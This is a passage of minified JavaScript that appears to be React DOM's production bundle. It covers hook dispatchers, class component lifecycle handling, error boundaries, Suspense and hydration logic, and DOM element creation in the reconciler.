o=pt.memoizedState;if(s=o.destroy,r!==null&&sx(r,o.deps)){i.memoizedState=_o(t,n,s,r);return}}qe.flags|=e,i.memoizedState=_o(1|t,n,s,r)}function yg(e,t){return xc(8390656,8,e,t)}function cx(e,t){return td(2048,8,e,t)}function P5(e,t){return td(4,2,e,t)}function E5(e,t){return td(4,4,e,t)}function _5(e,t){if(typeof t=="function")return e=e(),t(e),function(){t(null)};if(t!=null)return e=e(),t.current=e,function(){t.current=null}}function A5(e,t,n){return n=n!=null?n.concat([e]):null,td(4,4,_5.bind(null,t,e),n)}function ux(){}function O5(e,t){var n=An();t=t===void 0?null:t;var r=n.memoizedState;return r!==null&&t!==null&&sx(t,r[1])?r[0]:(n.memoizedState=[e,t],e)}function T5(e,t){var n=An();t=t===void 0?null:t;var r=n.memoizedState;return r!==null&&t!==null&&sx(t,r[1])?r[0]:(e=e(),n.memoizedState=[e,t],e)}function M5(e,t,n){return aa&21?(qn(n,t)||(n=$w(),qe.lanes|=n,sa|=n,e.baseState=!0),t):(e.baseState&&(e.baseState=!1,Yt=!0),e.memoizedState=n)}function cP(e,t){var n=Le;Le=n!==0&&4>n?n:4,e(!0);var r=Yf.transition;Yf.transition={};try{e(!1),t()}finally{Le=n,Yf.transition=r}}function L5(){return An().memoizedState}function uP(e,t,n){var r=vi(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},I5(e))D5(t,n);else if(n=v5(e,t,n,r),n!==null){var i=Wt();Gn(n,e,r,i),R5(n,t,r)}}function dP(e,t,n){var r=vi(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(I5(e))D5(t,i);else{var s=e.alternate;if(e.lanes===0&&(s===null||s.lanes===0)&&(s=t.lastRenderedReducer,s!==null))try{var o=t.lastRenderedState,l=s(o,n);if(i.hasEagerState=!0,i.eagerState=l,qn(l,o)){var c=t.interleaved;c===null?(i.next=i,tx(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=v5(e,t,i,r),n!==null&&(i=Wt(),Gn(n,e,r,i),R5(n,t,r))}}function I5(e){var t=e.alternate;return e===qe||t!==null&&t===qe}function D5(e,t){uo=Hc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function R5(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Fh(e,n)}}var Kc={readContext:_n,useCallback:It,useContext:It,useEffect:It,useImperativeHandle:It,useInsertionEffect:It,useLayoutEffect:It,useMemo:It,useReducer:It,useRef:It,useState:It,useDebugValue:It,useDeferredValue:It,useTransition:It,useMutableSource:It,useSyncExternalStore:It,useId:It,unstable_isNewReconciler:!1},fP={readContext:_n,useCallback:function(e,t){return ar().memoizedState=[e,t===void 0?null:t],e},useContext:_n,useEffect:yg,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,xc(4194308,4,_5.bind(null,t,e),n)},useLayoutEffect:function(e,t){return xc(4194308,4,e,t)},useInsertionEffect:function(e,t){return xc(4,2,e,t)},useMemo:function(e,t){var n=ar();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=ar();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=uP.bind(null,qe,e),[r.memoizedState,e]},useRef:function(e){var t=ar();return e={current:e},t.memoizedState=e},useState:gg,useDebugValue:ux,useDeferredValue:function(e){return ar().memoizedState=e},useTransition:function(){var e=gg(!1),t=e[0];return e=cP.bind(null,e[1]),ar().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=qe,i=ar();if(Ke){if(n===void 0)throw Error(ee(407));n=n()}else{if(n=t(),Nt===null)throw Error(ee(349));aa&30||j5(r,t,n)}i.memoizedState=n;var s={value:n,getSnapshot:t};return i.queue=s,yg(k5.bind(null,r,s,e),[e]),r.flags|=2048,_o(9,N5.bind(null,r,s,n,t),void 0,null),n},useId:function(){var e=ar(),t=Nt.identifierPrefix;if(Ke){var n=zr,r=kr;n=(r&~(1<<32-Kn(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=Po++,0<n&&(t+="H"+n.toString(32)),t+=":"}else n=lP++,t=":"+t+"r"+n.toString(32)+":";return e.memoizedState=t},unstable_isNewReconciler:!1},mP={readContext:_n,useCallback:O5,useContext:_n,useEffect:cx,useImperativeHandle:A5,useInsertionEffect:P5,useLayoutEffect:E5,useMemo:T5,useReducer:qf,useRef:C5,useState:function(){return qf(Eo)},useDebugValue:ux,useDeferredValue:function(e){var t=An();return M5(t,pt.memoizedState,e)},useTransition:function(){var e=qf(Eo)[0],t=An().memoizedState;return[e,t]},useMutableSource:b5,useSyncExternalStore:w5,useId:L5,unstable_isNewReconciler:!1},pP={readContext:_n,useCallback:O5,useContext:_n,useEffect:cx,useImperativeHandle:A5,useInsertionEffect:P5,useLayoutEffect:E5,useMemo:T5,useReducer:Xf,useRef:C5,useState:function(){return Xf(Eo)},useDebugValue:ux,useDeferredValue:function(e){var t=An();return pt===null?t.memoizedState=e:M5(t,pt.memoizedState,e)},useTransition:function(){var e=Xf(Eo)[0],t=An().memoizedState;return[e,t]},useMutableSource:b5,useSyncExternalStore:w5,useId:L5,unstable_isNewReconciler:!1};function Bn(e,t){if(e&&e.defaultProps){t=Ze({},t),e=e.defaultProps;for(var n in e)t[n]===void 0&&(t[n]=e[n]);return t}return t}function fp(e,t,n,r){t=e.memoizedState,n=n(r,t),n=n==null?t:Ze({},t,n),e.memoizedState=n,e.lanes===0&&(e.updateQueue.baseState=n)}var nd={isMounted:function(e){return(e=e._reactInternals)?va(e)===e:!1},enqueueSetState:function(e,t,n){e=e._reactInternals;var r=Wt(),i=vi(e),s=Pr(r,i);s.payload=t,n!=null&&(s.callback=n),t=hi(e,s,i),t!==null&&(Gn(t,e,i,r),pc(t,e,i))},enqueueReplaceState:function(e,t,n){e=e._reactInternals;var r=Wt(),i=vi(e),s=Pr(r,i);s.tag=1,s.payload=t,n!=null&&(s.callback=n),t=hi(e,s,i),t!==null&&(Gn(t,e,i,r),pc(t,e,i))},enqueueForceUpdate:function(e,t){e=e._reactInternals;var n=Wt(),r=vi(e),i=Pr(n,r);i.tag=2,t!=null&&(i.callback=t),t=hi(e,i,r),t!==null&&(Gn(t,e,r,n),pc(t,e,r))}};function bg(e,t,n,r,i,s,o){return e=e.stateNode,typeof e.shouldComponentUpdate=="function"?e.shouldComponentUpdate(r,s,o):t.prototype&&t.prototype.isPureReactComponent?!jo(n,r)||!jo(i,s):!0}function $5(e,t,n){var r=!1,i=ki,s=t.contextType;return typeof s=="object"&&s!==null?s=_n(s):(i=Jt(t)?ra:$t.current,r=t.contextTypes,s=(r=r!=null)?ts(e,i):ki),t=new t(n,s),e.memoizedState=t.state!==null&&t.state!==void 0?t.state:null,t.updater=nd,e.stateNode=t,t._reactInternals=e,r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=i,e.__reactInternalMemoizedMaskedChildContext=s),t}function wg(e,t,n,r){e=t.state,typeof t.componentWillReceiveProps=="function"&&t.componentWillReceiveProps(n,r),typeof t.UNSAFE_componentWillReceiveProps=="function"&&t.UNSAFE_componentWillReceiveProps(n,r),t.state!==e&&nd.enqueueReplaceState(t,t.state,null)}function mp(e,t,n,r){var i=e.stateNode;i.props=n,i.state=e.memoizedState,i.refs={},nx(e);var s=t.contextType;typeof s=="object"&&s!==null?i.context=_n(s):(s=Jt(t)?ra:$t.current,i.context=ts(e,s)),i.state=e.memoizedState,s=t.getDerivedStateFromProps,typeof s=="function"&&(fp(e,t,s,n),i.state=e.memoizedState),typeof t.getDerivedStateFromProps=="function"||typeof i.getSnapshotBeforeUpdate=="function"||typeof i.UNSAFE_componentWillMount!="function"&&typeof i.componentWillMount!="function"||(t=i.state,typeof i.componentWillMount=="function"&&i.componentWillMount(),typeof i.UNSAFE_componentWillMount=="function"&&i.UNSAFE_componentWillMount(),t!==i.state&&nd.enqueueReplaceState(i,i.state,null),Uc(e,n,i,r),i.state=e.memoizedState),typeof i.componentDidMount=="function"&&(e.flags|=4194308)}function as(e,t){try{var n="",r=t;do n+=WS(r),r=r.return;while(r);var i=n}catch(s){i=`
|
||
Error generating stack: `+s.message+`
|
||
`+s.stack}return{value:e,source:t,stack:i,digest:null}}function Zf(e,t,n){return{value:e,source:null,stack:n??null,digest:t??null}}function pp(e,t){try{console.error(t.value)}catch(n){setTimeout(function(){throw n})}}var hP=typeof WeakMap=="function"?WeakMap:Map;function B5(e,t,n){n=Pr(-1,n),n.tag=3,n.payload={element:null};var r=t.value;return n.callback=function(){Yc||(Yc=!0,kp=r),pp(e,t)},n}function F5(e,t,n){n=Pr(-1,n),n.tag=3;var r=e.type.getDerivedStateFromError;if(typeof r=="function"){var i=t.value;n.payload=function(){return r(i)},n.callback=function(){pp(e,t)}}var s=e.stateNode;return s!==null&&typeof s.componentDidCatch=="function"&&(n.callback=function(){pp(e,t),typeof r!="function"&&(xi===null?xi=new Set([this]):xi.add(this));var o=t.stack;this.componentDidCatch(t.value,{componentStack:o!==null?o:""})}),n}function jg(e,t,n){var r=e.pingCache;if(r===null){r=e.pingCache=new hP;var i=new Set;r.set(t,i)}else i=r.get(t),i===void 0&&(i=new Set,r.set(t,i));i.has(n)||(i.add(n),e=EP.bind(null,e,t,n),t.then(e,e))}function Ng(e){do{var t;if((t=e.tag===13)&&(t=e.memoizedState,t=t!==null?t.dehydrated!==null:!0),t)return e;e=e.return}while(e!==null);return null}function kg(e,t,n,r,i){return e.mode&1?(e.flags|=65536,e.lanes=i,e):(e===t?e.flags|=65536:(e.flags|=128,n.flags|=131072,n.flags&=-52805,n.tag===1&&(n.alternate===null?n.tag=17:(t=Pr(-1,1),t.tag=2,hi(n,t,1))),n.lanes|=1),e)}var xP=Ur.ReactCurrentOwner,Yt=!1;function Bt(e,t,n,r){t.child=e===null?x5(t,null,n,r):rs(t,e.child,n,r)}function zg(e,t,n,r,i){n=n.render;var s=t.ref;return qa(t,i),r=ox(e,t,n,r,s,i),n=lx(),e!==null&&!Yt?(t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~i,Tr(e,t,i)):(Ke&&n&&qh(t),t.flags|=1,Bt(e,t,r,i),t.child)}function Sg(e,t,n,r,i){if(e===null){var s=n.type;return typeof s=="function"&&!gx(s)&&s.defaultProps===void 0&&n.compare===null&&n.defaultProps===void 0?(t.tag=15,t.type=s,W5(e,t,s,r,i)):(e=bc(n.type,null,r,t,t.mode,i),e.ref=t.ref,e.return=t,t.child=e)}if(s=e.child,!(e.lanes&i)){var o=s.memoizedProps;if(n=n.compare,n=n!==null?n:jo,n(o,r)&&e.ref===t.ref)return Tr(e,t,i)}return t.flags|=1,e=gi(s,r),e.ref=t.ref,e.return=t,t.child=e}function W5(e,t,n,r,i){if(e!==null){var s=e.memoizedProps;if(jo(s,r)&&e.ref===t.ref)if(Yt=!1,t.pendingProps=r=s,(e.lanes&i)!==0)e.flags&131072&&(Yt=!0);else return t.lanes=e.lanes,Tr(e,t,i)}return hp(e,t,n,r,i)}function U5(e,t,n){var r=t.pendingProps,i=r.children,s=e!==null?e.memoizedState:null;if(r.mode==="hidden")if(!(t.mode&1))t.memoizedState={baseLanes:0,cachePool:null,transitions:null},Be(Fa,on),on|=n;else{if(!(n&1073741824))return e=s!==null?s.baseLanes|n:n,t.lanes=t.childLanes=1073741824,t.memoizedState={baseLanes:e,cachePool:null,transitions:null},t.updateQueue=null,Be(Fa,on),on|=e,null;t.memoizedState={baseLanes:0,cachePool:null,transitions:null},r=s!==null?s.baseLanes:n,Be(Fa,on),on|=r}else s!==null?(r=s.baseLanes|n,t.memoizedState=null):r=n,Be(Fa,on),on|=r;return Bt(e,t,i,n),t.child}function V5(e,t){var n=t.ref;(e===null&&n!==null||e!==null&&e.ref!==n)&&(t.flags|=512,t.flags|=2097152)}function hp(e,t,n,r,i){var s=Jt(n)?ra:$t.current;return s=ts(t,s),qa(t,i),n=ox(e,t,n,r,s,i),r=lx(),e!==null&&!Yt?(t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~i,Tr(e,t,i)):(Ke&&r&&qh(t),t.flags|=1,Bt(e,t,n,i),t.child)}function Cg(e,t,n,r,i){if(Jt(n)){var s=!0;Rc(t)}else s=!1;if(qa(t,i),t.stateNode===null)vc(e,t),$5(t,n,r),mp(t,n,r,i),r=!0;else if(e===null){var o=t.stateNode,l=t.memoizedProps;o.props=l;var c=o.context,u=n.contextType;typeof u=="object"&&u!==null?u=_n(u):(u=Jt(n)?ra:$t.current,u=ts(t,u));var d=n.getDerivedStateFromProps,f=typeof d=="function"||typeof o.getSnapshotBeforeUpdate=="function";f||typeof o.UNSAFE_componentWillReceiveProps!="function"&&typeof o.componentWillReceiveProps!="function"||(l!==r||c!==u)&&wg(t,o,r,u),ni=!1;var p=t.memoizedState;o.state=p,Uc(t,r,o,i),c=t.memoizedState,l!==r||p!==c||Qt.current||ni?(typeof d=="function"&&(fp(t,n,d,r),c=t.memoizedState),(l=ni||bg(t,n,l,r,p,c,u))?(f||typeof o.UNSAFE_componentWillMount!="function"&&typeof o.componentWillMount!="function"||(typeof o.componentWillMount=="function"&&o.componentWillMount(),typeof o.UNSAFE_componentWillMount=="function"&&o.UNSAFE_componentWillMount()),typeof o.componentDidMount=="function"&&(t.flags|=4194308)):(typeof o.componentDidMount=="function"&&(t.flags|=4194308),t.memoizedProps=r,t.memoizedState=c),o.props=r,o.state=c,o.context=u,r=l):(typeof o.componentDidMount=="function"&&(t.flags|=4194308),r=!1)}else{o=t.stateNode,g5(e,t),l=t.memoizedProps,u=t.type===t.elementType?l:Bn(t.type,l),o.props=u,f=t.pendingProps,p=o.context,c=n.contextType,typeof c=="object"&&c!==null?c=_n(c):(c=Jt(n)?ra:$t.current,c=ts(t,c));var h=n.getDerivedStateFromProps;(d=typeof h=="function"||typeof o.getSnapshotBeforeUpdate=="function")||typeof o.UNSAFE_componentWillReceiveProps!="function"&&typeof o.componentWillReceiveProps!="function"||(l!==f||p!==c)&&wg(t,o,r,c),ni=!1,p=t.memoizedState,o.state=p,Uc(t,r,o,i);var x=t.memoizedState;l!==f||p!==x||Qt.current||ni?(typeof h=="function"&&(fp(t,n,h,r),x=t.memoizedState),(u=ni||bg(t,n,u,r,p,x,c)||!1)?(d||typeof o.UNSAFE_componentWillUpdate!="function"&&typeof o.componentWillUpdate!="function"||(typeof o.componentWillUpdate=="function"&&o.componentWillUpdate(r,x,c),typeof o.UNSAFE_componentWillUpdate=="function"&&o.UNSAFE_componentWillUpdate(r,x,c)),typeof o.componentDidUpdate=="function"&&(t.flags|=4),typeof o.getSnapshotBeforeUpdate=="function"&&(t.flags|=1024)):(typeof o.componentDidUpdate!="function"||l===e.memoizedProps&&p===e.memoizedState||(t.flags|=4),typeof o.getSnapshotBeforeUpdate!="function"||l===e.memoizedProps&&p===e.memoizedState||(t.flags|=1024),t.memoizedProps=r,t.memoizedState=x),o.props=r,o.state=x,o.context=c,r=u):(typeof o.componentDidUpdate!="function"||l===e.memoizedProps&&p===e.memoizedState||(t.flags|=4),typeof o.getSnapshotBeforeUpdate!="function"||l===e.memoizedProps&&p===e.memoizedState||(t.flags|=1024),r=!1)}return xp(e,t,n,r,s,i)}function xp(e,t,n,r,i,s){V5(e,t);var o=(t.flags&128)!==0;if(!r&&!o)return i&&fg(t,n,!1),Tr(e,t,s);r=t.stateNode,xP.current=t;var l=o&&typeof n.getDerivedStateFromError!="function"?null:r.render();return t.flags|=1,e!==null&&o?(t.child=rs(t,e.child,null,s),t.child=rs(t,null,l,s)):Bt(e,t,l,s),t.memoizedState=r.state,i&&fg(t,n,!0),t.child}function H5(e){var t=e.stateNode;t.pendingContext?dg(e,t.pendingContext,t.pendingContext!==t.context):t.context&&dg(e,t.context,!1),rx(e,t.containerInfo)}function Pg(e,t,n,r,i){return ns(),Zh(i),t.flags|=256,Bt(e,t,n,r),t.child}var vp={dehydrated:null,treeContext:null,retryLane:0};function gp(e){return{baseLanes:e,cachePool:null,transitions:null}}function K5(e,t,n){var r=t.pendingProps,i=Ye.current,s=!1,o=(t.flags&128)!==0,l;if((l=o)||(l=e!==null&&e.memoizedState===null?!1:(i&2)!==0),l?(s=!0,t.flags&=-129):(e===null||e.memoizedState!==null)&&(i|=1),Be(Ye,i&1),e===null)return up(t),e=t.memoizedState,e!==null&&(e=e.dehydrated,e!==null)?(t.mode&1?e.data==="$!"?t.lanes=8:t.lanes=1073741824:t.lanes=1,null):(o=r.children,e=r.fallback,s?(r=t.mode,s=t.child,o={mode:"hidden",children:o},!(r&1)&&s!==null?(s.childLanes=0,s.pendingProps=o):s=ad(o,r,0,null),e=Qi(e,r,n,null),s.return=t,e.return=t,s.sibling=e,t.child=s,t.child.memoizedState=gp(n),t.memoizedState=vp,e):dx(t,o));if(i=e.memoizedState,i!==null&&(l=i.dehydrated,l!==null))return vP(e,t,o,r,l,i,n);if(s){s=r.fallback,o=t.mode,i=e.child,l=i.sibling;var c={mode:"hidden",children:r.children};return!(o&1)&&t.child!==i?(r=t.child,r.childLanes=0,r.pendingProps=c,t.deletions=null):(r=gi(i,c),r.subtreeFlags=i.subtreeFlags&14680064),l!==null?s=gi(l,s):(s=Qi(s,o,n,null),s.flags|=2),s.return=t,r.return=t,r.sibling=s,t.child=r,r=s,s=t.child,o=e.child.memoizedState,o=o===null?gp(n):{baseLanes:o.baseLanes|n,cachePool:null,transitions:o.transitions},s.memoizedState=o,s.childLanes=e.childLanes&~n,t.memoizedState=vp,r}return s=e.child,e=s.sibling,r=gi(s,{mode:"visible",children:r.children}),!(t.mode&1)&&(r.lanes=n),r.return=t,r.sibling=null,e!==null&&(n=t.deletions,n===null?(t.deletions=[e],t.flags|=16):n.push(e)),t.child=r,t.memoizedState=null,r}function dx(e,t){return t=ad({mode:"visible",children:t},e.mode,0,null),t.return=e,e.child=t}function Dl(e,t,n,r){return r!==null&&Zh(r),rs(t,e.child,null,n),e=dx(t,t.pendingProps.children),e.flags|=2,t.memoizedState=null,e}function vP(e,t,n,r,i,s,o){if(n)return t.flags&256?(t.flags&=-257,r=Zf(Error(ee(422))),Dl(e,t,o,r)):t.memoizedState!==null?(t.child=e.child,t.flags|=128,null):(s=r.fallback,i=t.mode,r=ad({mode:"visible",children:r.children},i,0,null),s=Qi(s,i,o,null),s.flags|=2,r.return=t,s.return=t,r.sibling=s,t.child=r,t.mode&1&&rs(t,e.child,null,o),t.child.memoizedState=gp(o),t.memoizedState=vp,s);if(!(t.mode&1))return Dl(e,t,o,null);if(i.data==="$!"){if(r=i.nextSibling&&i.nextSibling.dataset,r)var l=r.dgst;return r=l,s=Error(ee(419)),r=Zf(s,r,void 0),Dl(e,t,o,r)}if(l=(o&e.childLanes)!==0,Yt||l){if(r=Nt,r!==null){switch(o&-o){case 4:i=2;break;case 16:i=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:i=32;break;case 536870912:i=268435456;break;default:i=0}i=i&(r.suspendedLanes|o)?0:i,i!==0&&i!==s.retryLane&&(s.retryLane=i,Or(e,i),Gn(r,e,i,-1))}return vx(),r=Zf(Error(ee(421))),Dl(e,t,o,r)}return i.data==="$?"?(t.flags|=128,t.child=e.child,t=_P.bind(null,e),i._reactRetry=t,null):(e=s.treeContext,cn=pi(i.nextSibling),dn=t,Ke=!0,Wn=null,e!==null&&(zn[Sn++]=kr,zn[Sn++]=zr,zn[Sn++]=ia,kr=e.id,zr=e.overflow,ia=t),t=dx(t,r.children),t.flags|=4096,t)}function Eg(e,t,n){e.lanes|=t;var r=e.alternate;r!==null&&(r.lanes|=t),dp(e.return,t,n)}function Qf(e,t,n,r,i){var s=e.memoizedState;s===null?e.memoizedState={isBackwards:t,rendering:null,renderingStartTime:0,last:r,tail:n,tailMode:i}:(s.isBackwards=t,s.rendering=null,s.renderingStartTime=0,s.last=r,s.tail=n,s.tailMode=i)}function G5(e,t,n){var r=t.pendingProps,i=r.revealOrder,s=r.tail;if(Bt(e,t,r.children,n),r=Ye.current,r&2)r=r&1|2,t.flags|=128;else{if(e!==null&&e.flags&128)e:for(e=t.child;e!==null;){if(e.tag===13)e.memoizedState!==null&&Eg(e,n,t);else if(e.tag===19)Eg(e,n,t);else if(e.child!==null){e.child.return=e,e=e.child;continue}if(e===t)break e;for(;e.sibling===null;){if(e.return===null||e.return===t)break e;e=e.return}e.sibling.return=e.return,e=e.sibling}r&=1}if(Be(Ye,r),!(t.mode&1))t.memoizedState=null;else switch(i){case"forwards":for(n=t.child,i=null;n!==null;)e=n.alternate,e!==null&&Vc(e)===null&&(i=n),n=n.sibling;n=i,n===null?(i=t.child,t.child=null):(i=n.sibling,n.sibling=null),Qf(t,!1,i,n,s);break;case"backwards":for(n=null,i=t.child,t.child=null;i!==null;){if(e=i.alternate,e!==null&&Vc(e)===null){t.child=i;break}e=i.sibling,i.sibling=n,n=i,i=e}Qf(t,!0,n,null,s);break;case"together":Qf(t,!1,null,null,void 0);break;default:t.memoizedState=null}return t.child}function vc(e,t){!(t.mode&1)&&e!==null&&(e.alternate=null,t.alternate=null,t.flags|=2)}function Tr(e,t,n){if(e!==null&&(t.dependencies=e.dependencies),sa|=t.lanes,!(n&t.childLanes))return null;if(e!==null&&t.child!==e.child)throw Error(ee(153));if(t.child!==null){for(e=t.child,n=gi(e,e.pendingProps),t.child=n,n.return=t;e.sibling!==null;)e=e.sibling,n=n.sibling=gi(e,e.pendingProps),n.return=t;n.sibling=null}return t.child}function gP(e,t,n){switch(t.tag){case 3:H5(t),ns();break;case 5:y5(t);break;case 1:Jt(t.type)&&Rc(t);break;case 4:rx(t,t.stateNode.containerInfo);break;case 10:var r=t.type._context,i=t.memoizedProps.value;Be(Fc,r._currentValue),r._currentValue=i;break;case 13:if(r=t.memoizedState,r!==null)return r.dehydrated!==null?(Be(Ye,Ye.current&1),t.flags|=128,null):n&t.child.childLanes?K5(e,t,n):(Be(Ye,Ye.current&1),e=Tr(e,t,n),e!==null?e.sibling:null);Be(Ye,Ye.current&1);break;case 19:if(r=(n&t.childLanes)!==0,e.flags&128){if(r)return G5(e,t,n);t.flags|=128}if(i=t.memoizedState,i!==null&&(i.rendering=null,i.tail=null,i.lastEffect=null),Be(Ye,Ye.current),r)break;return null;case 22:case 23:return t.lanes=0,U5(e,t,n)}return Tr(e,t,n)}var Y5,yp,q5,X5;Y5=function(e,t){for(var n=t.child;n!==null;){if(n.tag===5||n.tag===6)e.appendChild(n.stateNode);else if(n.tag!==4&&n.child!==null){n.child.return=n,n=n.child;continue}if(n===t)break;for(;n.sibling===null;){if(n.return===null||n.return===t)return;n=n.return}n.sibling.return=n.return,n=n.sibling}};yp=function(){};q5=function(e,t,n,r){var i=e.memoizedProps;if(i!==r){e=t.stateNode,Gi(dr.current);var s=null;switch(n){case"input":i=Fm(e,i),r=Fm(e,r),s=[];break;case"select":i=Ze({},i,{value:void 0}),r=Ze({},r,{value:void 0}),s=[];break;case"textarea":i=Vm(e,i),r=Vm(e,r),s=[];break;default:typeof i.onClick!="function"&&typeof r.onClick=="function"&&(e.onclick=Ic)}Km(n,r);var o;n=null;for(u in i)if(!r.hasOwnProperty(u)&&i.hasOwnProperty(u)&&i[u]!=null)if(u==="style"){var l=i[u];for(o in l)l.hasOwnProperty(o)&&(n||(n={}),n[o]="")}else u!=="dangerouslySetInnerHTML"&&u!=="children"&&u!=="suppressContentEditableWarning"&&u!=="suppressHydrationWarning"&&u!=="autoFocus"&&(ho.hasOwnProperty(u)?s||(s=[]):(s=s||[]).push(u,null));for(u in r){var c=r[u];if(l=i!=null?i[u]:void 0,r.hasOwnProperty(u)&&c!==l&&(c!=null||l!=null))if(u==="style")if(l){for(o in l)!l.hasOwnProperty(o)||c&&c.hasOwnProperty(o)||(n||(n={}),n[o]="");for(o in c)c.hasOwnProperty(o)&&l[o]!==c[o]&&(n||(n={}),n[o]=c[o])}else n||(s||(s=[]),s.push(u,n)),n=c;else u==="dangerouslySetInnerHTML"?(c=c?c.__html:void 0,l=l?l.__html:void 0,c!=null&&l!==c&&(s=s||[]).push(u,c)):u==="children"?typeof c!="string"&&typeof c!="number"||(s=s||[]).push(u,""+c):u!=="suppressContentEditableWarning"&&u!=="suppressHydrationWarning"&&(ho.hasOwnProperty(u)?(c!=null&&u==="onScroll"&&Fe("scroll",e),s||l===c||(s=[])):(s=s||[]).push(u,c))}n&&(s=s||[]).push("style",n);var u=s;(t.updateQueue=u)&&(t.flags|=4)}};X5=function(e,t,n,r){n!==r&&(t.flags|=4)};function Rs(e,t){if(!Ke)switch(e.tailMode){case"hidden":t=e.tail;for(var n=null;t!==null;)t.alternate!==null&&(n=t),t=t.sibling;n===null?e.tail=null:n.sibling=null;break;case"collapsed":n=e.tail;for(var r=null;n!==null;)n.alternate!==null&&(r=n),n=n.sibling;r===null?t||e.tail===null?e.tail=null:e.tail.sibling=null:r.sibling=null}}function Dt(e){var t=e.alternate!==null&&e.alternate.child===e.child,n=0,r=0;if(t)for(var i=e.child;i!==null;)n|=i.lanes|i.childLanes,r|=i.subtreeFlags&14680064,r|=i.flags&14680064,i.return=e,i=i.sibling;else for(i=e.child;i!==null;)n|=i.lanes|i.childLanes,r|=i.subtreeFlags,r|=i.flags,i.return=e,i=i.sibling;return e.subtreeFlags|=r,e.childLanes=n,t}function yP(e,t,n){var r=t.pendingProps;switch(Xh(t),t.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return Dt(t),null;case 1:return Jt(t.type)&&Dc(),Dt(t),null;case 3:return r=t.stateNode,is(),Ue(Qt),Ue($t),ax(),r.pendingContext&&(r.context=r.pendingContext,r.pendingContext=null),(e===null||e.child===null)&&(Ll(t)?t.flags|=4:e===null||e.memoizedState.isDehydrated&&!(t.flags&256)||(t.flags|=1024,Wn!==null&&(Cp(Wn),Wn=null))),yp(e,t),Dt(t),null;case 5:ix(t);var i=Gi(Co.current);if(n=t.type,e!==null&&t.stateNode!=null)q5(e,t,n,r,i),e.ref!==t.ref&&(t.flags|=512,t.flags|=2097152);else{if(!r){if(t.stateNode===null)throw Error(ee(166));return Dt(t),null}if(e=Gi(dr.current),Ll(t)){r=t.stateNode,n=t.type;var s=t.memoizedProps;switch(r[sr]=t,r[zo]=s,e=(t.mode&1)!==0,n){case"dialog":Fe("cancel",r),Fe("close",r);break;case"iframe":case"object":case"embed":Fe("load",r);break;case"video":case"audio":for(i=0;i<to.length;i++)Fe(to[i],r);break;case"source":Fe("error",r);break;case"img":case"image":case"link":Fe("error",r),Fe("load",r);break;case"details":Fe("toggle",r);break;case"input":Rv(r,s),Fe("invalid",r);break;case"select":r._wrapperState={wasMultiple:!!s.multiple},Fe("invalid",r);break;case"textarea":Bv(r,s),Fe("invalid",r)}Km(n,s),i=null;for(var o in s)if(s.hasOwnProperty(o)){var l=s[o];o==="children"?typeof l=="string"?r.textContent!==l&&(s.suppressHydrationWarning!==!0&&Ml(r.textContent,l,e),i=["children",l]):typeof l=="number"&&r.textContent!==""+l&&(s.suppressHydrationWarning!==!0&&Ml(r.textContent,l,e),i=["children",""+l]):ho.hasOwnProperty(o)&&l!=null&&o==="onScroll"&&Fe("scroll",r)}switch(n){case"input":Sl(r),$v(r,s,!0);break;case"textarea":Sl(r),Fv(r);break;case"select":case"option":break;default:typeof s.onClick=="function"&&(r.onclick=Ic)}r=i,t.updateQueue=r,r!==null&&(t.flags|=4)}else{o=i.nodeType===9?i:i.ownerDocument,e==="http://www.w3.org/1999/xhtml"&&(e=kw(n)),e==="http://www.w3.org/1999/xhtml"?n==="script"?(e=o.createElement("div"),e.innerHTML="<script><\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[sr]=t,e[zo]=r,Y5(e,t,!1,!1),t.stateNode=e;e:{switch(o=Gm(n,r),n){case"dialog":Fe("cancel",e),Fe("close",e),i=r;break;case"iframe":case"object":case"embed":Fe("load",e),i=r;break;case"video":case"audio":for(i=0;i<to.length;i++)Fe(to[i],e);i=r;break;case"source":Fe("error",e),i=r;break;case"img":case"image":case"link":Fe("error",e),Fe("load",e),i=r;break;case"details":Fe("toggle",e),i=r;break;case"input":Rv(e,r),i=Fm(e,r),Fe("invalid",e);break;case"option":i=r;break;case"select":e._wrapperState={wasMultiple:!!r.multiple},i=Ze({},r,{value:void 0}),Fe("invalid",e);break;case"textarea":Bv(e,r),i=Vm(e,r),Fe("invalid",e);break;default:i=r}Km(n,i),l=i;for(s in l)if(l.hasOwnProperty(s)){var c=l[s];s==="style"?Cw(e,c):s==="dangerouslySetInnerHTML"?(c=c?c.__html:void 0,c!=null&&zw(e,c)):s==="children"?typeof c=="string"?(n!=="textarea"||c!=="")&&xo(e,c):typeof 